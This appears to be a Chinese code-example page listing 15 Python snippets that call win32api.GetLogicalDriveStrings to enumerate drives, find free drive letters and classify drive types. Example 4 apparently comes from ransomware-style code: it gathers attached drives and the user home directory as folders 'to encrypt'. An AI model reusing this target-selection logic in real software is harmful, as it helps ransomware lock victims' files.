本文整理汇总了Python中win32api.GetLogicalDriveStrings方法的典型用法代码示例。如果您正苦于以下问题:Python win32api.GetLogicalDriveStrings方法的具体用法?Python win32api.GetLogicalDriveStrings怎么用?Python win32api.GetLogicalDriveStrings使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类win32api
的用法示例。
在下文中一共展示了win32api.GetLogicalDriveStrings方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: findUnusedDriveLetter
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def findUnusedDriveLetter():
existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
try:
while 1:
items = win32wnet.WNetEnumResource(handle, 0)
if len(items)==0:
break
xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
existing.extend(xtra)
finally:
handle.Close()
for maybe in 'defghijklmnopqrstuvwxyz':
if maybe not in existing:
return maybe
raise RuntimeError("All drive mappings are taken?")
示例2: findUnusedDriveLetter
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def findUnusedDriveLetter(self):
existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
try:
while 1:
items = win32wnet.WNetEnumResource(handle, 0)
if len(items)==0:
break
xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
existing.extend(xtra)
finally:
handle.Close()
for maybe in 'defghijklmnopqrstuvwxyz':
if maybe not in existing:
return maybe
self.fail("All drive mappings are taken?")
示例3: get_mounts
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def get_mounts():
mountpoints = []
if(platform.system() == 'Linux'):
f = open('/proc/mounts')
dev_types = ['/dev/sda', '/dev/sdc', '/dev/sdb', '/dev/hda', '/dev/hdc', '/dev/hdb', '/dev/nvme']
for line in f:
details = line.split()
if(details[0][:-1] in dev_types):
if(details[1] != '/boot/efi'):
details_decoded_string = bytes(details[1], "utf-8").decode("unicode_escape")
mountpoints.append(details_decoded_string)
f.close()
elif(platform.system() == 'Darwin'):
for mountpoint in os.listdir('/Volumes/'):
mountpoints.append('/Volumes/' + mountpoint)
elif(platform.system() == 'Windows'):
mountpoints = win32api.GetLogicalDriveStrings()
mountpoints = mountpoints.split('\000')[:-1]
return mountpoints
示例4: get_base_dirs
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def get_base_dirs(self, home_dir, __config):
# Function to return a list of base directories to encrypt
base_dirs = []
# Add attached drives and file shares
if __config["encrypt_attached_drives"] is True:
attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1]
for drive in attached_drives:
drive_letter = drive[0].lower()
if drive_letter != 'c' and not self.is_optical_drive(drive_letter):
base_dirs.append(drive)
# Add C:\\ user space directories
if __config["encrypt_user_home"] is True:
base_dirs.append(home_dir)
return base_dirs
示例5: findAvailableDrives
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def findAvailableDrives():
return [(d, win32file.GetDriveType(d)) for d in
win32api.GetLogicalDriveStrings().rstrip('\0').split('\0')]
示例6: get_drives
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def get_drives():
"""List all the drives on this system."""
drives = win32api.GetLogicalDriveStrings()
return [x.rstrip("\\") for x in drives.split('\000') if x]
示例7: check_drives
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def check_drives():
for drive in win32api.GetLogicalDriveStrings().split("\x00"):
sys.stdout.write(".")
type = win32file.GetDriveType(drive)
if type == win32con.DRIVE_FIXED:
fs = win32api.GetVolumeInformation(drive)[4]
if fs == 'NTFS':
warning = ""
weak_perms = check_weak_write_perms(drive, 'directory')
if weak_perms:
# print "Weak permissions on drive root %s:" % drive
# print_weak_perms('directory', weak_perms)
sys.stdout.write(".")
save_issue("WPC010", "writable_drive_root", weak_perms)
elif fs == 'FAT':
save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (FAT does not support file permissions)" )
sys.stdout.write("!")
elif fs == 'FAT32':
save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (FAT32 does not support file permissions)" )
sys.stdout.write("!")
else:
warning = " (not NTFS - might be insecure)"
save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (Not NTFS - might not be secure)" )
sys.stdout.write("!")
# print "Fixed drive %s has %s filesystem%s" % (drive, fs, warning)
print
示例8: GetFirstFreeDriveLetter
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def GetFirstFreeDriveLetter():
try:
import win32api
except ImportError:
return test.skip_test('Problem with "win32api"')
""" Returns the first unused Windows drive letter in [A, Z] """
all_letters = [c for c in string.ascii_uppercase]
in_use = win32api.GetLogicalDriveStrings()
free = list(set(all_letters) - set(in_use))
return free[0]
示例9: get_drive_list
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def get_drive_list(self):
try:
drives = win32api.GetLogicalDriveStrings()
drives = [ drivestr for drivestr in drives.split('\x00') if drivestr ]
return drives
except:
return []
示例10: get_drives
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def get_drives():
"""Return all active drives"""
import win32api
return win32api.GetLogicalDriveStrings().split('\000')[
:-1
]
示例11: GetFirstFreeDriveLetter
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def GetFirstFreeDriveLetter():
""" Returns the first unused Windows drive letter in [A, Z] """
all_letters = [c for c in string.ascii_uppercase]
in_use = win32api.GetLogicalDriveStrings()
free = list(set(all_letters) - set(in_use))
return free[0]
示例12: get_local_drives
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def get_local_drives():
"""Returns a list containing letters from local drives"""
drive_list = win32api.GetLogicalDriveStrings()
drive_list = drive_list.split("\x00")[0:-1] # the last element is ""
list_local_drives = []
for letter in drive_list:
if win32file.GetDriveType(letter) == win32file.DRIVE_FIXED:
list_local_drives.append(letter)
return list_local_drives
示例13: get_removable_drives
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def get_removable_drives():
"""Returns a list containing letters from removable drives"""
drive_list = win32api.GetLogicalDriveStrings()
drive_list = drive_list.split("\x00")[0:-1] # the last element is ""
list_removable_drives = []
for letter in drive_list:
if win32file.GetDriveType(letter) == win32file.DRIVE_REMOVABLE:
list_removable_drives.append(letter)
return list_removable_drives
示例14: GetFirstFreeDriveLetter
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def GetFirstFreeDriveLetter():
""" Returns the first unused Windows drive letter in [A, Z] """
all_letters = [c for c in string.uppercase]
in_use = win32api.GetLogicalDriveStrings()
free = list(set(all_letters) - set(in_use))
return free[0]
示例15: GetLogicalDriveStrings
# 需要导入模块: import win32api [as 别名]
# 或者: from win32api import GetLogicalDriveStrings [as 别名]
def GetLogicalDriveStrings():
return Api.GetLogicalDriveStrings().split("\0")[:-1]